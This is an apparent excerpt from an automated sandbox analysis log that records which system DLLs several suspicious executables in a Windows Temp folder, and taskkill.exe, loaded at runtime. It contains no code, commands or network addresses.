Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Section loaded: wininet.dll
